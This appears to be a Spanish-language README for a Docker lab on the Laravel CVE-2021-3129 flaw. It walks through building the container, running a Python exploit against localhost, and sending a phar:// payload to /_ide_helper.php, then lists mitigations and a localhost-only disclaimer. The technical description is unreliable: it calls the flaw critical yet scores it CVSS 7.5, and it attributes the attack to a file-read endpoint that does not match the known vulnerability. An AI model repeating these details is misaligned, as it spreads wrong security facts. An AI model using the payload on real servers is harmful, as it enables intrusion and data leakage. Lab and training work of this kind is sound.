
CVE-2021-3129: RCE del Modo de Depuración de Laravel - Laboratorio completo de explotación con exploit en Python, contenedor Docker y guía de análisis de seguridad.
Laboratorio práctico para explotar CVE-2021-3129, una vulnerabilidad crítica de Laravel que permite lectura de archivos sin autenticación y posible RCE.
# Clonar
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# Construir y ejecutar
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# Probar
curl http://localhost:8080/_ide_helper.php
# Explotar
python3 cve_2021_3129_exploit.py http://localhost:8080
| Propiedad | Detalles |
|---|---|
| Severidad | CVSS 7.5 (Alta) |
| Afectado | Laravel < 8.4.2, < 7.30.4 |
| Impacto | Lectura arbitraria de archivos, divulgación de información, posible RCE |
| Autenticación requerida | No |
| Vector de ataque | Red |
/_ide_helper.phpphar:// para leer archivos# 1. Clonar
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab
# 2. Construir el contenedor
docker build -t cve-2021-3129-lab:latest .
# 3. Ejecutar el contenedor
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest
# 4. Verificar el endpoint
curl http://localhost:8080/_ide_helper.php
# 5. Ejecutar el exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
[✓✓✓] ¡VULNERABILIDAD CVE-2021-3129 CONFIRMADA!
DETALLES DE LA VULNERABILIDAD:
- El modo debug está HABILITADO (APP_DEBUG=true)
- _ide_helper.php es ACCESIBLE
- La lectura arbitraria de archivos es POSIBLE
- Información sensible FILTRADA
# Básico
python3 cve_2021_3129_exploit.py http://localhost:8080
# Tiempo de espera personalizado
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10
# Ayuda
python3 cve_2021_3129_exploit.py -h
# Probar endpoint
curl http://localhost:8080/_ide_helper.php
# Probar con payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'
# 1. Establecer APP_DEBUG=false en .env
# 2. Eliminar _ide_helper.php
# 3. Actualizar Laravel a la versión parcheada (8.4.2+, 7.30.4+)
# 4. Reiniciar la aplicación
# Detener el contenedor
docker stop laravel-cve-2021-3129
# Eliminar el contenedor
docker rm laravel-cve-2021-3129
# Eliminar la imagen
docker rmi cve-2021-3129-lab:latest
P: ¿Puedo probarlo en internet?
R: No. Esto es solo para localhost. Nunca pruebes en sistemas que no te pertenezcan.
P: ¿Funcionará en versiones parcheadas?
R: No. Laravel 8.4.2+ y 7.30.4+ están parcheados.
P: ¿Puedo modificar el exploit?
R: Sí. El código está completamente comentado para el aprendizaje.
P: ¿Cómo capturar tráfico de red?
R: Usa tcpdump o Wireshark:
sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# En otra terminal, ejecuta el exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Abre la captura: wireshark capture.pcapng
⚠️ Solo con fines educativos
✅ Usos autorizados:
❌ Usos prohibidos:
Úsalo solo en sistemas que te pertenezcan o para los que tengas permiso explícito de prueba.
Naresh R (@theNareshofficial)
Licencia MIT – Ver el archivo LICENSE